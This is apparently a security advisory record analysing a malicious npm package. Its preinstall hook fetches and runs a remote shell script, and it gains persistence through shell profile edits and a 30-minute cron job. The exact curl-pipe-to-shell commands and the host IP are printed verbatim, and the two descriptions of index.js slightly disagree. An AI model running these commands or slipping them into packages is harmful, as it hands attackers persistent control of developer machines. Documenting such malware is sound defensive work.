GCVE-110-OSM-2026-11284

The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends `curl -s 216.126.236.46/x.sh|sh` to ~/.bashrc and ~/.profile and installs a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting `version` and `init`, with no real functionality — the manifest's preinstall is the entire payload. Judge assessment: This is consistent with a straightforward npm installer malware / persistence payload dropped by a malicious publisher: the preinstall runs `curl -s 216.126.236.46/x.sh|sh`, which fetches and immediately executes attacker-controlled shell code at install time. The bare-IP host `216.126.236.46` is classified as a fetched payload source, and the package metadata is a classic throwaway shape with a brand-new package and very new account. The OSV advisory's persistence claims are strongly corroborated by the manifest-level preinstall behavior, and the tiny `index.js` stub (`module.exports={v:'1.0.1'}`) shows the package has no legitimate functionality to justify the shell execution. Attacker model: a commodity supply-chain installer that uses npm lifecycle hooks to execute a remote shell payload and establish ongoing access on developer machines. ENTRY index.js (default-index: index.js) - Preinstall Script in package.json: ""preinstall":"curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account